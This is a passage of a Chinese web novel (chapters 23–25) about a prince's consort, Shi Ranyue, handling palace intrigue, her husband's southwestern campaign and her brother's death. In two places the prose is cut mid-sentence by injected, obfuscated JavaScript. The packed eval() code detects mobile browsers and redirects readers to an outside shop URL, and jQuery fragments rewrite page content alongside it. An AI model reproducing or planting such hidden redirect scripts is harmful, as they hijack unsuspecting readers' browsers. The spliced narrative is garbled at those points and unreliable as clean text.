“我倒不用。我平日里也不怎么动笔,城儿练字也不必用这等好墨,拿来不用倒是浪费了,还是给这些成日舞文弄墨的人用才是物有所值。”二人并肩往后院走去,端木城在一旁蹦蹦跳跳的,扯着林绵的袖子要吃八宝鸭。正要拐过院墙回后院时,寒峦带着两个小丫鬟提着两只竹笼来,道:“别苑的管事孝敬的八宝鸭,正好两只,王爷说给王妃和林侧妃一人一只。” 师冉月和林绵对视着笑了,看着端木城道:“你好福气,想什么来什么。” 寒峦笑着亲自将其中一只竹笼递到音儿手里,另一个递给林绵身边跟着的小丫鬟,便告辞离开。 师冉月回去换了衣裳。音儿打开那竹笼,却见不只是一道八宝鸭,还有二荤二素其余四道菜。一直看到最底层,却轻声惊呼,叫啼樱带着屋里其余人等都退了出去。师冉月好奇着走过来,却也愣住,将放在最底下那碗桂花糖藕旁的锦囊拿起来拆开,正是那枚双鱼玉佩。 玉佩被师冉月又收回妆匣。拉着音儿一起吃完了饭菜,她道:“叫合月去灵山镇和商水镇把去年欠的租收回来。去找寒峦来见我。” 23. 第 23 章 “帝释青倒是衬你,不过你原先杏色的那身也好看。”端木玄难得晚间有空,与师冉月一同用了晚饭,夫妇二人早早遣散了下人,慢慢说着话。端木玄仍旧穿着他那身纵是换了也要裁剪成一个样子的玄色中衣,立在师冉月身后,为她擦着头发。 “我早换了这个色的衣裳。这布料染出这个颜色也是难得,我还打算叫人裁件外衫。” “也好。”端木玄道,“原先这些颜色大概都送到林氏那里去了,你若喜欢,告诉他们一声,下次先送到你这儿来挑。” “那倒不必了。”师冉月望着镜中他模糊的人影,倦倦地垂了眼帘,就要起身道:“好容易得闲,早些歇息罢。我大哥刚到逢州任上都没有你如今眼下的乌青重......合该叫烟水常给你拿热鸡蛋敷一敷。” 端木玄却按住她道:“头发还未干,会着凉。”说完也不容师冉月质疑,半压着她的肩继续擦着她的头发。师冉月不能乱动,只好一格一格玩着妆匣里的东西,神态也慢慢慵懒,要睡不睡的,手伸到底下那一格才蓦然惊醒,顿了一顿,从镜子里瞄了一眼端木玄,手伸向胭脂盒假装把玩。端木玄似是未抬头,却嗤笑一声,道:“你我之间应该没什么需要遮掩的吧?” 师冉月讪讪一笑,转念又想起端木玄忙活的那些事也未曾着意瞒她,只是她从前懒得关注罢了,又道:“到底你我是夫妻,也不必如此吧?” “做贼心虚的又不是我。”端木玄神色淡淡的,手上的动作也越发松弛,眼睛里却染上调笑的意思,目光所及是师冉月放在案上的近来用来代替那块玉佩的一些玉饰,任凭乌黑半干的发丝在指间游走,“我从前可没什么好哥哥好妹妹的给我写什么劳什子信。” 师冉月挑眉:“我也未曾叫我哥哥们给我安排几十个妙龄男子听我差遣。” 端木玄笑笑:“这不一样罢?” 师冉月倒是认真起来,一脸八卦地转头看他:“说起来你便没有想过娶烟水吗?多年默契,她那般照顾你了解你,世间恐怕再没有哪个女子能对你细心至此。” 端木玄最后擦了擦她的发梢,眉间嘴角的笑意隐去,拍了拍她的背示意回榻上熄灯就寝。良久,他似笑非笑道:“王妃努力就是了。” 师冉月抱着被子找了个舒服的姿势。她如今喜欢把枕头放的比端木玄的低些,把额头顶在他肩上,便觉得夜晚时常的头痛好些。“再说吧再说——我困了。” “你成日里坐在院里不动弹,收租什么的一应事情全叫合月去办,还这么容易困,别是待出病来了。” “无聊啊,无聊就会使人困倦......倒是多亏了你,啊不,多亏了烟水,王府后院这一应事情倒是井井有条的很,我自从立了威后也没太多麻烦事......你什么时候再纳个侍妾,我们四个就好凑趣玩牌了。” 端木玄倒像是认真考虑了一番她的愿景,却道:“那你不如叫音儿或是合月上牌桌。” 师冉月已是半醒半睡间,抬手拍了拍他的胳膊,嘟囔道:“都再说......” “西南部族叛乱,我大哥他们写信回来过吗?”师冉月匆匆回了师家找到萧晨,却只见她摇头道:“我们也只听说了叛乱的消息,你大哥他们近半个月都未写信回来,我也没有什么办法。” 端木婉拍了拍她的背:“事到如今我们也只能等消息,听天由命。不过那边一直是楚王兄的人在帮咱们打点着,你不如回去问问王兄。” “我问过他了,那边一片乱,全是逃难的流民,他的人也断联了,一时半会儿收不到消息。”师冉月无奈。自从听见了叛乱的消息她就一直觉得有些心慌,可又毫无办法,只好还是先回了王府,却见兵部传令的令官队伍刚从王府离开,她一口气霎时提在喉咙里,忍不住提起裙摆加快了脚步回了正院,连音儿也甩在身后。 房中,端木玄一人坐在桌后,手里攥着什么东西,也未点灯,只有桌案上明黄的诏书格外诈眼。师冉月蓦地打开门跑进来,看见人影一愣,随即分辨出是端木玄,才停下脚步慢慢顺过气来。 “由许——” “今上让我去西南带兵平叛。”端木玄把手里的东西掷在案上。师冉月拿起来一看,正是半枚虎符。“另外一半在安王手里。” “兵部可有军情?” “夜郎与昆明两大部族联合,但只是推翻了当地的官府,扣押了汉人官员,到如今朝廷还未听说杀害无辜百姓或是攻打汉人郡县的事,大概没有外面传的那么夸张。”端木玄平静地放了几把匕首和暗器在衣袋里,看得师冉月无端着急:“又不是让你深入敌营刺探消息,你带这些做什么。若是没有那么夸张,怎么你的人都会断联?” 端木玄抬头,看见她眼中的焦急,手上的动作顿了顿,把她扶到榻上坐下,又点了两盏灯,倒了碗茶塞在她手里:“兵部的人收到的消息是片面的,兴许有粉饰太平的成分,但只是两个部族叛乱,情况不会太坏,边防守军也不是吃素的。” 师冉月慢慢吞了两口茶。茶有些凉,滑进胃里有些许不舒服,却也压住了些火气。蜜也凝固在杯壁上,倒显得芭蕉茶杯在昏暗的烛光下厚重似凝脂。她渐渐冷静下来,问道:“你何时走?” “诏令催得急,明日便走。”端木玄眼睛里没有什么波澜,甚至师冉月在他眸子里隐隐看出了兴奋。“打仗不是闹着玩的,也不是像刺客探子那样。” “别担心。”端木玄收好虎符,从衣橱里拿了几套换洗的衣服,“除了常年在外征战的,有几个见识过战场的。我好歹自小也看过不少兵书,骑射也不差,总比那个书呆子安王好得多。我尽量不和府里失联,有你兄长们的消息我便差人告诉你。” 师冉月放下半口气,只沉默着替他收拾包袱。尽管她还是隐隐提着半口气,而且脑子里跳着一根弦告诉她这半口气是为了端木玄,却还是没有再多说什么。端木玄眼中暗沉的光不是年少之人对战场莫名的亢奋,却是一个渴望权力的人对未拓展的版图的渴望。兴许他会被这次出征磨炼成一个好的将领,又或许他本就有这天赋,但无论如何,他一定会借此次机会招兵买马,收买西南边军将士的人心,结交安王端木崇......坐在金銮殿上的人显然不会知道这么一个年轻藩王已经凭借着他的手段、姻亲,还有对外展现的恰到好处的内向或直爽、沉稳或义气,暗中积蓄了远超师家、岳家又或是他以为的某个朋党的势力。 而她如今想的,是如何利用他的势力,而不寄生于此。 师冉月离开后,萧晨才抹去面上的镇定从容,只剩下满身疲惫。她前两晚一直惊梦,如今又得了西南叛乱的消息,整个人都不太安定。端木婉轻轻捏了捏她的肩,道:“莫要瞎想些有的没的。他们兄弟四个福大命大,不会有事的。” “他们三个我都还不太担心,我只担心子成。他自小读书,未曾认真钻研过骑射,若是真刀真枪上了战场......” “不会的。”端木婉镇定道,“你和焕哥儿还等着呢,大哥一定会平安回来的。”又道:“云姝得了消息又去睡了,还得——” “她就只知道这么逃避,再睡人都睡傻了。”萧晨提起一口气,“子锋媳妇那儿怎么样了?” 端木婉暗暗叹气,跟着她出去,一面道:“她给自己开了服镇静的房子,又给云姝开了个提气养神的方子,正在药坊里熬着药呢。” “正好,那药给我也煎一副。” 一晃就是梅雨季。慕州的雨不似逢州那般阴雨连绵,却又闷又潮,叫人浑身阴湿着难受。难得没下雨,师冉月叫人把门窗敞开通风,自己搬了张藤椅,捧了碗凉面躺在上面,看着丫鬟小厮们晾字画、换窗纸,听合月汇报例银开支和铺面的事,又问了问林绵、端木城还有徐聆雨的状况,莫名觉得自己像是坐在蜘蛛网中心眼观六路耳听八方的母蜘蛛。 “王爷有书信么?” “没有。” “师家都还好吧?” “都好。”音儿答,顺便收走了吃完的凉面碗,换上红枣大麦茶,道:“我打听到一家板面铺子,姑娘前些天不是还念叨着想吃么,我已托寒峦备好了马车。” 师冉月蓦地瞪大了眼睛看她,咕嘟咕嘟连着灌了几大口大麦茶,起身道:“合月,你看着点换窗纸,我瞧着这天又要下雨,别忘了把字画都收回来。啼樱,告诉厨房不用准备我的晚饭了。”一壁说着,一壁换了身衣衫向外走。音儿忙随手拿了把伞匆匆跟上。 “王妃真是和王爷越来越像了。”合月突然感慨道。 “哪里像?”啼樱好奇。 合月收了手里的活,琢磨了一会儿,道:“我也说不上来,就是隐隐约约觉得他们二人这精气神儿越来越像了。” 寒峦准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226138|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是一乘寻常马车,没有楚王府纹符的帷幔。一路到了城西,车停在一处小楼前,天上又开始飘起泠泠细雨。音儿撑起伞扶着师冉月下车,松石青的鞋面上溅上了几滴不太明显的雨水。进了一楼,却是一家陶器铺子,掌柜的抬起头来不是许疾风又是谁?师冉月吸了一口气,看着许疾风却说不上来话。许疾风也只笑着请她上楼。 师冉月看着那楼梯,只觉得正似朝晖河上的船,但一想到自己是为了什么纠结拧巴至此又这般周折,顿时又把一颗心安稳地放回肚子里,独自一人提起裙摆上了楼。 二楼便是寻常人家的布置。端木凛背身在窗前作画,师冉月走到他身边也未抬头,落笔平稳,笔下两只麻雀已见雏形。师冉月放眼窗外,只见一个空巢正对着窗子,巢看着也像是去年的,如今初春,树叶尚且不能遮蔽,便显得那巢无端生出凋零孤寂之感。 也不过片刻,一对儿小雀跃然纸上。端木凛随手调了个颜色,在那对鸟雀足下画了几枝枯枝,换了笔题的却是“青山忽已曙,鸟雀绕舍鸣”。师冉月开口道:“我还以为会是‘拣尽寒枝不肯栖,寂寞沙洲冷’之类。” 端木凛道:“我如今闲人一个,悠然自得,哪里来的‘拣尽寒枝’之情。倒是你,自幼最不喜那些人家内宅纷扰,怎么被一个徐氏绕了心神,也琢磨起这些来了。” “这并不是内宅之事。”师冉月道,“我只是想要与他比肩而立,而不是依附于他。他有他的谋划布局,我与整个师家也在这布局之中,我便也要有我的势力,从他的谋划中破出一方天地,才能保证我和师家安然无恙。” 端木凛皱眉,“我以为你爱他,才答应你兄长嫁给他。” “嫁人难道就是因为爱么。”师冉月看着他,眼里有些淡漠,“这世上也没有几对夫妻是相知相爱再成亲这么水到渠成的,不必说成亲前连面都没见过的,即便是云和与我三哥,没有那道赐婚圣旨,兴许如今也是各自婚嫁了。情爱固然美好,可比起活的舒服,也不值一提——你说是吗,常更哥哥?” “好吧。”端木凛叹气,笑意中隐隐藏着苦涩。再相见后,他总是猜她不透,上次一别后他每每想来,虽说他的人生经过承祐六年那一巨变,似是经历了什么波折痛苦,然而他有母亲的嫁妆,还有愿意追随保护他的手下臣僚,也有些许脑力,这些年过得不算太难,甚至越来越惬意。师冉月却是自小在京城那处大宅院里长大,外面对师家的每一处算计她也都要承受,纵然原先有父母兄长庇佑,她也在跟着忧虑焦急,这么些年过去,早已不是当年那个只想尝尝酒味儿的小丫头了。 “你送我的东西我就收下了。”他道,“寒峦可以为你所用。她的父母原先是我母亲的陪嫁,她的姨母便是我的乳母,她兄嫂和一个妹妹的身契还在唐家,我已经托人给你取来了。我当年对她也算得上有救命之恩,比起烟水,她能告诉你的会更多。” 师冉月看了看那几张身契,沉吟道:“她能因为这些事对端木玄生出二心,便也保不齐会背叛我。也罢,待师家养出合适的探子,我便也不需要借助影卫的力量了。” “你想做什么事?” “不做什么,放在手里安心罢了。”师冉月道,“多谢你。你在慕州不好久留吧?我叫师家的人送你出城。” “不必。我也好久没回来了,倒挺想念城里一些老铺子。待我想离开时自会离开,我会叫寒峦告诉你,我走之前,你若还有什么需要,到此处来找我即可——你不必愧疚什么,我反正终日闲来无事,你给我找点事做,我还能从中寻些乐子。” 师冉月看着端木凛脸上清浅的一直存在的笑意,心中某些被压抑着的岩浆般的东西又开始翻涌。她捏了捏手中泛黄的身契,道:“可你的户籍和文牒都是假的罢?就算楚王府的人如今基本都不认识你了,万一有官差来查,你又怎么解释呢?” “那就只能——拜托楚王妃殿下到狱中保我出来了。” “公子,师家那个成和来买走了两个陶罐,给咱们送来了两张假户籍。”两日后,天上厚积的云层罕见地透出些阳光。许疾风吃了两碗面后仰躺在没挂牌的店铺里打盹,突然迎来了位“不速之客”。 虽是假的姓名身份,但官府的公印却是真的,连带着还有通关文牒和商铺的开铺证明。 端木凛翻看了一遍,无奈笑笑:“这倒是没变。” 24. 第 24 章 了却一桩心事,师冉月的生活变得无趣,成日里等着盼着端木玄和兄长们的消息,叫她觉得自己像个“望夫石”,于是便着意给自己找些事做。 “人生就这么些日子,也不能把精力全分给别人,咱们也得过过自己的日子。” 于是师冉月借着给师婷欢备生辰礼,跟着楚王府厨房的老师傅学刀工,起初是想学着做蓑衣黄瓜和豆腐花一类的,后来手上划了几个口子,刀法也练得成了,就叫啼樱弄了一堆萝卜、西瓜来,雕些花儿草儿之类,等临近了师婷欢的生辰,倒打消了原先做长寿面的想法,拿各色萝卜雕了莲花、海棠、月季等,凑了一个花冠,当中放着一个西洋来的蓝宝石,哄得师婷欢直要跟她学。 端木萌白眼,搂过师婷欢道:“就你姑姑成日里闲出花来了。” 师冉月自得:“那是,我也没有孩子,可不闲着学些有趣的。”至于管家,实际是一劳永逸的事,王府下人的规制又是登记在册的,比起师家的反倒规整许多,自从师冉月杀鸡儆猴之后,又有合月的帮助,便也是得心应手,花不上许多时间。 端木婉只看着她两人成日里互怼,捡笑得不亦乐乎,这厢突然想到了什么似的,插话道:“从前似乎听吟月说过你喜欢看画本子,怎么近来倒没听说你再看了?” 师冉月手把手教婷欢插花,也没回身,只道:“那都是小时候的事了,话本子哪有账本子好。” 师婷欢听了抬头问道:“姑姑,账本怎么会比话本好玩?” 端木萌嗤笑:“你长大就晓得了。” 师冉月笑着点了点她的额头,一边上手指挥着她把紫铃兰花枝再剪得短一点,一边道:“人的喜好有些是会改变的,比方说你如今不也不喜欢放风筝了吗?” 师婷欢点了点头,又一门心思投入到插花里去了。 张雁在一旁看着,好半天才开一次口:“婷姐儿做什么都专心。” 师冉月颇认同,只因她小时候就总是三心二意,因此样样学样样不精,被唐烨耳提面命地数落了好多回。这点端木城倒是和她小时候很像,虽然不是她亲生的,因此比起和不喜欢各种玩乐的生母林绵在一块儿,端木城倒是越长大越喜欢往师冉月院子里跑。 不过近两日端木城倒是闹了两回,只因师冉月暗中授意蒋节随端木玄去了西南,留下沈案之继续给端木城授课。沈案之虽然温柔且有耐心,但没有蒋节那么会讲故事。不过被林绵罚着在院子里站了一整日,也就乖乖听话了。 “东院近来做什么呢?”徐聆雨成日里也不太露面,倒叫师冉月不太安心。 “徐侧妃好似在研究熏香,听说大前日里差点把帐子,这些天便没听说东院采买香料一类的了。” “这可真是,”师冉月把雕错的萝卜切成条,指挥着小厮搬了个大缸来腌咸菜,“三个女人也演不成一台戏,连个麻将桌也凑不上来。” 音儿笑道:“那是三个女人为着一个男子纷扰不休,多无趣。” 师冉月点头长叹:“昨天王爷好不容易叫人送了封信回来,我还想着借此把徐侧妃和林侧妃都叫来唠一唠,结果一封信上就写了‘无碍’二字,说都没什么好说的。” 合月也笑道:“连烟水姐姐近日都闲了不少。” 闻得此语,师冉月倒是顿了顿。有了寒峦,她才晓得烟水并不是一直跟在端木玄身边,若非端木玄特别指派,她一直只负责从京城到慕州这一条线。西南边境不是她的所属,因此除了京城里对于往西南用兵的风向变化或是兵部有什么消息,近来她的确没什么要紧事。 忽而又是一个夏天过去,秋日凉气上来,师冉月张罗着摘了桂花做茶做糕,又晒了些果子想自己做果脯,正调着蜜,寒峦匆匆走进来,道:“殿下,王爷来信了!” 合月上前接过信,替她顺着气儿,师冉月看着信却莫名有些许心慌,拿了信在手里,觉得比以往寥寥几笔报平安的那么单薄的一张纸厚了些,迅速打开信纸,却见是不同字迹的两张,上面那张是端木玄的字,仍旧没有长篇大论,只道: 妻琯: 已与舅兄等会面,有子持兄亲笔在后,阅过后还望代为告知嫂夫人等。节哀。无碍,勿念。 由许 师冉月还未看后面那封信,死盯着“节哀”二字有些颤抖。音儿忙扶住她,轻轻捏着她的肩,直到师冉月读完师霖的信,发愣半晌,忽而脱力倒在音儿怀里,埋头在她肩上,只听得压抑的啜泣声。音儿眼神示意其余人离开,只继续扶着她,慢慢抚着她的背。 良久,师冉月红着眼眶,却抬手利落地擦干了泪,清了清嗓子,道:“备车,回师宅。” 师晟死在乱军中。 师穆等借着端木玄的力战后搜寻了许久,也无法在遍地血肉模糊的尸块里辨别出师晟。然而那场战役是阵地战,没有俘虏,没有叛逃,没有失踪——未能在战后列队归城的,就是牺牲。 萧晨闻讯后骤然病倒,请郎中来也说不出一二,只好叫张雁每日抓药慢慢调理着。师冉月得空便也多回了几次师家,陪侄子侄女们学习玩耍,不仅是帮嫂子们分担些许,也权当自己解闷。过了个把个月,萧晨如常出来活动,面色如常,也与人谈笑。只是她从前常喜欢穿紫色衣裳,如今便是一水儿的青黑褐色衣服,看得人心情也跟着沉寂枯败下去了。 “总归子持与二哥、四弟至今平安,我们也放心些,只不敢在大嫂面前说。”端木萌叹道,“大哥那般品貌才能,尚未能施展才华,师家就遭了这些事,如今又英年早逝,连个......实在叫人唏嘘。” “长兄如父。”师冉月道,“我自小怕他,比怕我爹更怕他。我小时候他也只在前院读书习字,和大嫂成亲后也不常回后院......而我每每随着三哥四哥闯了什么祸,偏巧都能叫他遇见,就免不了被引经据典地教训一通。不过我爹去世后,也是因为有大哥在,我才总觉得好似日子与原先也没太大不同......” 端木萌也不晓得怎么搭话,师家四兄弟里她最不熟悉的就是师晟。沉默良久,她才试探着换了话题,开口道:“我倒是听说,今上似是病了。”自从岳诗君被废后她便心里冷寒,能不提起就不提起,不得已说起,也只与旁人一道称“今上”。 “我也听说。”师冉月喝了口茶掩去哽咽,道:“不过大概也没有什么大碍,否则王爷和安王如今就不该还在西南,应该被诏回宫了。” “楚王与安王倒不一定。楚王还算是今上嫡亲的侄子,安王与我皇兄已是同一个曾祖父的了,就算皇帝大行,也不一定非要进京。”端木萌摇着扇子,道:“不过我未出降前他一向身体康健,倒是没想到——这才几年,就把身体搞成这个样子。” “史太尉不会想让今上驾崩罢,毕竟若是太子登基,他必然得不到好。” “太子不登基他也不一定能睡得安稳。他又不蠢,焉知今日的师家不是明日的史家?今上近年来视朝臣为玩物,雷霆雨露全都凭他心情,哪里有什么长久的保证。师家尚有我们一位公主一位郡主,原先还有我母亲,现在宫里还有唐贤妃,如今施贵妃应该也解了禁足了,他尚且待我们如此,何况那史自兴不过是把他妻子的庶出侄女认作养女送进宫做了个昭仪,生下个小皇子,又能如何?” “兴许恰是今上一睁眼睛,身边嫔妃皇子亲信宠臣无一不是与我们这些人家有关系的,才会如此。”师冉月叹道。 “妃嫔是他选的,皇子公主是他生的,臣子是他任用的,爵位也是他赏的,如今他又忌讳上了——”师冉月忙比了个噤声的手势,道:“别这么不管不顾的。”她将盘子里的梅脯用小银叉一块块分开,递了一块塞到端木萌嘴里,端木萌张嘴一咬就是一皱眉,忙端起茶碗喝了一大口,几乎是吞了进去,道:“糖放多了。” “不晓得,好像是二嫂前些日子领孩子们玩着弄的,可能哥儿姐儿谁多放了。” 端木萌撇嘴笑道:“她如今可是越来越活泛了,想当年刚入府的时候,母亲还说她木讷寡言、温良柔顺,如今像是棵倒着长的树,越活越年轻了。” “二嫂一开始是有些拘谨,可她本就也是个有趣的性子,这‘有趣’比起你的作天作地可不是一样的。” “我那都是原先了——倒是你,听说也在王府里玩出花来了。” “找点事做罢了。”师冉月不以为意。 “你便不会像吟月,或是像林氏那样看看诗书?” 师冉月顿了顿,似是想了想那画面,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226139|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又低眉笑道:“那样......我人就要废了。我是不能闲的。” 外面突然传来一阵嬉笑,一听正是婷欢和师迟的声音:“下雪了下雪了!” 师冉月和端木萌闻声站起,向外望去,“慕州下雪可是不易,去年便没有雪呢。” 音儿和行湘各自拿了大氅来给她二人披上,随着走出门去,才见天上稀疏零散的几朵飘雪,不成规模,落到地上甚至都没什么痕迹,远远看去却也是迷迷蒙蒙的,挡了远处的楼阁青山。 端木萌将孩子们招来,一一系好披风,揉揉他们冻得有些红的耳朵,笑问:“你们四弟呢?怎么没一起回来。” “四弟和五弟跟成和叔叔去外面钓鱼了,我们本来也想去来着,可大哥说先生给我们留的字帖还没临完,把我们留在大伯母那儿写完了才回来。” 师冉月笑着看向音儿,音儿默默红了脸,把头埋在毛绒的披肩里。端木萌笑骂:“那个皮猴子,一声不响的,最能上蹿下跳。你们也不用猴挠心似的,这雪一下,也得把他们冻回来。” “还不是像你和三哥。景姐儿她们姐弟三个就安静沉稳。” “二姐姐和三姐姐是怕冷,和二伯母一样。三弟本来也想去钓鱼的,看见二姐三姐都不出屋才没去。” 寒峦跟着合月进了院来,行礼道:“殿下,今年立冬的节礼已经送到王府了,城西也送了只羊来。” “羊?” “是,还有一个会做羊肉的师傅,和烤架和调料。” “城西是什么人家?”端木萌好奇。 “一个铺子罢了。”师冉月笑笑,便也告辞回了王府。 年末祭祖,端木玄不在,便是师冉月一人主持。她不大喜欢香火味儿,总叫她分不清祭祖还是参加谁的葬仪。然而有徐聆雨在后面跪得板正,总叫她也不敢松散了事,规规矩矩地叩拜上香。 末了就是备年礼买年货一干事务,忙忙碌碌的,却也有了过年的实感。尤其灯笼扎好,她与烟水各自负责前院后院都挂起来后,红红火火一片,叫人精气神儿也跟着上来了。 “给王爷的信送到哪儿了?” “已经送到了。”烟水道,“兴许大后日就能收到回信了。” “大后日......大年二十四,也好,他若是不能告假回来,你们便都到后院来与我们一起过年就是了,正好热闹。”她心下思忖着,半个月前端木玄上一封信写来,说的是告捷,却还要乘胜追击的意思。这么些日子不晓得“追击”了没有,若是真大获全胜了,朝中该有消息,如今却没听到什么声音,大概也是到了战局的关键,想必端木玄也算半个主帅,不能轻易离开了。 今年整个王府的对联都是师冉月亲手写的,甚至还往师家送去了一副,嘱咐嫂子们帮她贴到她院子去。这几年她闲来无事便捉笔来写,笔力见长。笔尖满沾了浓墨,饱满厚重,落在洒金的红宣纸上如行云流水,又带着她独有的“潇洒”与轻柔。端木城在旁边站着观看,师冉月写好了对联与横批后,便也将笔递给他,叫他来写福字:“写完了你去亲自送给沈先生,也叫他看看。” “不如请大公子为先生们都写一个福字。”徐聆雨笑着走进来道。师冉月笑道:“你不是要剪窗花,怎么有空来我这儿。” “自然是给殿下送窗花,也向殿下讨要一副对联。”徐聆雨笑得轻快,微微伏在案边看端木城写字,道:“这墨看着也好。”师冉月顿了顿,笑开:“比不上送给城儿先生的墨。尊师重道,好笔墨自然得赠送先生,不然留在咱们这也是可惜了不是。” 徐聆雨拈起一张福字,附和道:“那是自然。听说旁的先生都羡慕沈先生和蒋先生的墨呢,与蒋先生同屋的严述先生曾借蒋先生的墨给王爷写了篇策论,王爷都夸他的字比原先写得好。” “是么?到底是严先生字本来就好,名墨锦上添花罢了。”师冉月说着,从徐聆雨的丫鬟送来的托盘里拈起一张窗花,对着光一比,是个活灵活现的祥云送福形。“徐妹妹手真巧。” “我也是闲来无事凑个趣,不然请外头剪窗花的匠人做才更精妙。殿下喜欢就好。” “自然喜欢。啼樱,除夕一早就张罗着把徐侧妃送来的窗花和对子一并都贴了。” 25. 第 25 章 “来了......回来了!”啼樱急匆匆闯进屋子里。 “王爷的回信回来了?” “是王爷——王爷回来了!”啼樱上气不接下气道。师冉月一惊,起身时衣角把榻上放着的没缝完的虎头都带到了地上。音儿弯腰捡起,扶着师冉月道:“殿下别急。” 师冉月面上却是要笑不笑的模样,烛光炸开微弱的火花闪烁在眼中,正想要开口问真假,啼樱却已给她披上狐皮大氅,抓着她的手往外走,“殿下想去看王爷就快去吧,这会儿应该快到王府门口了——我从烟水姐那儿听了消息赶着回来告诉您的,林侧妃和徐侧妃恐怕都还不知道呢。” 几人小跑着赶到王府大门前,看见烟水身后跟着寒峦和近黛正立在门边,另有几个住在王府的幕僚,回头见了她皆躬身行礼。烟水脸上竟也难得带了点笑意,近黛和寒峦却只低头在后,看不出来神色。 不远处一阵马蹄声由远及近,正要细分辨时,端木玄却已到了府门口,猛地一勒缰绳飞身便下了马。藏青的披风卷起风声在师冉月面前掀起,在落下时她已是笑意盈盈,行礼道:“王爷万福。” 端木玄微笑点头,挥手示意烟水等,又与幕僚们寒暄一二,将人都请走后,便走到师冉月身前,笑着看她已经准备沐浴就寝而只拿一根银簪半绾的头发,抬手将一缕散落在她肩上的发丝捏起,笑道:“娘子——如此想念为夫啊。” 师冉月羞恼着夺回自己的头发别在通红的耳后,又拢了拢大氅遮住自己里头随意穿的一身淡青色旧裙。端木玄抬手将她的兜帽为她带好,便拢着她回了内院。看着一路已经挂好的灯笼和一应装饰,端木玄有些宽慰道:“这才像是要过年了。” 啼樱跟在后面叽喳道:“都是我们殿下带人安排的,殿下还亲手为阖府上下写了对联呢。”师冉月道:“城儿也写了好些福字,我们原本还想,若是你不能回来,便叫人给你寄去,可大过年的也不好劳动送信人。” “无妨,都是咱们自己的人。” “恰是自己人,才更应体恤,人家便不过年了吗?” “所以我回来了啊——免得王妃心疼送信人辛苦。”端木玄玩笑道。师冉月只扭过头去不说话。 到了内院,音儿与啼樱迅速收拾了一番便匆匆退下,只留二人在房内。温暖的熏香伴着旺盛的炭火热气缭缭绕绕,师冉月揪着手坐在榻上,看着端木玄像猛兽回了洞穴似的四处探看,拂拂桌面上的字帖,摆弄摆弄窗花,突然冷不丁朝他开口:“王爷许久未归,城儿也想父亲了。还有徐侧妃,才进府不久王爷便去了西南,不如王爷......” “本王今夜就留在这儿了,王妃不必害羞。” “谁害羞......” 端木玄回慕州,也给师家带去了那几人的家书。这一厢也算是都欢喜热闹地过了年。楚王府如今这几个主子也是难得聚齐一次,却都是喜欢话里藏话的,吃个饭还累人,有人气儿却也不大愉快。 “怎么一直皱眉?” “方才有些累了。”端木玄揉揉眉心,舒展了下眉眼。 “不只是方才吧?”师冉月走近,轻轻点了点他的眉心,“自打你回来就一直兴趣不高,虽然该说笑还是在说笑,但总觉得你似是有些疲倦——是西南有什么事?” 端木玄勾唇笑笑:“竟瞒不过你。”他活动了下脊背,听着外头一阵一阵的爆竹声慢慢道:“我此次回来,并非年假,而是不必再去了。想必过些日子兵部的人就会将虎符收走。安王也回息州了。” “是......获胜了——” “并非。不捷而退,本可以再乘胜追击,兵部却匆匆从京里直接派了人去接受了苗疆王的投降条约,又将参战的将领全都召回或是调到别处。” “兵不专将将不专兵,虽如今没有明文规定,却也是约定俗成的事。” 端木玄拾起小几上的酒壶,给自己倒了一杯热酒,却也不喝,只用双指夹着那小小的酒杯来回把玩,看着未满的酒液一圈一圈浸湿全部的杯壁。师冉月扒了个蜜橘放在他空着的那只手手心,道:“你才第一次上战场,莫要意气用事。战争又不是一定要分出个绝对的黑白输赢,再打下去对百姓对国库也没什么好处。” “兴许吧。”端木玄轻轻应了,心里却还琢磨着另一桩事。按理讲虎符该在兵部的人去西南时就收走,或者回来这么多天,哪怕是过年,但这等要事,也不该拖沓这么久也不见人来。这种种,倒似是上边之人另有火烧眉毛不得不连存在威胁的兵权都弃之不顾的事。再一想前几日烟水汇报的京中情况,心下隐隐起了猜测。 师冉月坐在小竹凳上,披了烘热的白狐裘在身上,微微附身抱着膝看着远处墙上别人家放的烟火。端木玄道:“在战场上有个说法,常年在外征战的士卒过年过节也听不得炮仗声,怕是战火又起。” “爆竹、烟火,都短暂易消散,本也不是什么好寓意,需得许多家接连着放,听着此起彼伏才是热闹。”她闭着眼静静听着,鼻尖和脸颊被冷风吹得有些红,看上去倒添了几分娇憨可爱。 端木玄道:“是不是觉得日子这样也挺好。” 师冉月转头顾他,看见他眼里的些许轻蔑和嘲弄,烟火的光晕淹没在浓黑里,像泥沼中的碎银。她低头想了想,道:“有些日子没有试着过过,我们也不知道它过起来会是什么样子。何况,对于我来说,不过还是为人妻、为人母,再管些人——或多或少,要真说起来可能也没太大不同。端木玄,我只盼着你不会累我枉死,其余的我倒没什么所谓。” “你又没尝过真正的苦日子,就算是在逢州,你也是太守之妹,家财万贯,私兵几千。这日子若是一直往上也就罢了,若是往下,你怎知你不会就此堕落、抑郁。” 